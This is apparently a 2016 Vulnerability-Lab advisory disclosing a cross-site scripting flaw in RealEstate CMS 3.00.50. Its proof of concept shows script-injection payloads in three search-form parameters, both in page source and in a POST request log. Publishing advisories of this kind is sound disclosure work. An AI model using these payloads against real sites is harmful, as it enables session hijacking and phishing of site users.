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RealEstate CMS 3.00.50 - Cross Site Scripting Vulnerability

2016-10-06 14:25
Document Title:
===============
RealEstate CMS 3.00.50 - Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1949


Release Date:
=============
2016-10-06


Vulnerability Laboratory ID (VL-ID):
====================================
1949


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
RealEstate CMS is a web portal script designed for realty agents , realtor or brokers to sell , buy , trade , rent and
letting their client's property
through online. It is a web based Content Management System integrated web application platform developed in php, mysql
used by real estate companies
to promote properties. Feature-rich, SEO-friendly, easy to use interface with Protected admin area to create.

(Copy of the Vendor Homepage: http://www.script4realestate.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a cross site scripting vulnerability in the official
RealEstate v3.00.50 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-10-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Realestate v3.00.50 content
management system.
The vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable
module or service.

A client-side cross site scripting web vulnerability is located in the search engine. The web vulnerability could
allows an attacker
to execute javascript in the web-browser of the user or administrator to compromise session credentials. The injection
point of the
vulnerability is in the `Add` function with the `property_name`, `property_price` and `post_code` parameters. The
execution point
occurs in the the search module of the content management system. The request method to inject is POST and the attack
vector of the
issue is located to the client-side of the web-application.

The security risk of the web vulnerability is estimated as medium with a cvss (common vulnerability scoring system)
count of 3.1.
Exploitation of the client-side vulnerability requires no privileged web-application user account and low or medium
user interaction.
Successful exploitation of the vulnerability results in non-persistent phishing, session hijacking, non-persistent
external redirect
to malicious sources and client-side manipulation of affected or connected web module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add (Input)

Vulnerable Parameter(s):
[+] property_name
[+] post_code
[+] property_price


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user account and with low or medium user
interaction.
For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to
continue.


PoC: Source
<div class="form-group">
<label>Post Code:</label>
<input type="text" name="post_code" id="post_code" placeholder="Any"
value="'"/>></script><script>alert("vulnerabilitylab")</script>" class="form-control">
<input type="hidden" name="block_search" value="search" /></div>
<div class="form-group">
<input name="property_name" id="property_name" operator="contains" type="text" placeholder="Property Name"
value="'"/>></script><script>alert("vulnerabilitylab")</script>" class="form-control"/></div>
<script type="text/javascript">
{field: "property_price", operator: $("#property_price").attr('operator'), value:
""'"/>></script><script>alert("vulnerabilitylab")</script>"},
</script>


--- PoC Session Logs [POST] ---
Status: 200 [OK]
Host: realestate.localhost:8000/
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://realestate.localhost:8000/
Cookie: PHPSESSID=8897722dac6adcebc9a966069e91ea83; __unam=6aaa37b-1570a42f57e-507aafb3-2;
__utma=261436815.141070340.1473345943.1473345943.1473345943.1; __utmb=261436815.2.10.1473345943; __utmc=261436815;
__utmz=261436815.1473345943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 529
block_search=search&property_name='"/>></script><script>alert("vulnerabilitylab")</script>&post_code='"/>></script><script>alert("vulnerabilitylab")</script>&category_id_arr%5B%5D=any&property_type=any&property_price='"/>></script><script>alert("vulnerabilitylab")</script>&property_price-gte=any&property_price-lte=any&feature_room_no-gte=any&feature_bathroom-gte=any&country_id=227&state_id=any&area_id=any&property_owner=any

Note: There is not filter validation or csrf token in use to prevent exploitation in case of a performed POST method
request with non-expired session credentials.


Reference(s):
http://realestate.localhost:8000/


Security Risk:
==============
The security risk of the client-side post inject web vulnerability in the search module is estimated as medium. (CVSS
3.0)


Credits & Authors:
==================
ZwX - (http://zwx.fr/) )[http://www.vulnerability-lab.com/show.php?user=ZwX]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all
warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or
its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special
damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or
limitation of liability mainly for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody
to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

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Source: 32/tcO/6102/erusolcsidlluf/gro.stsilces

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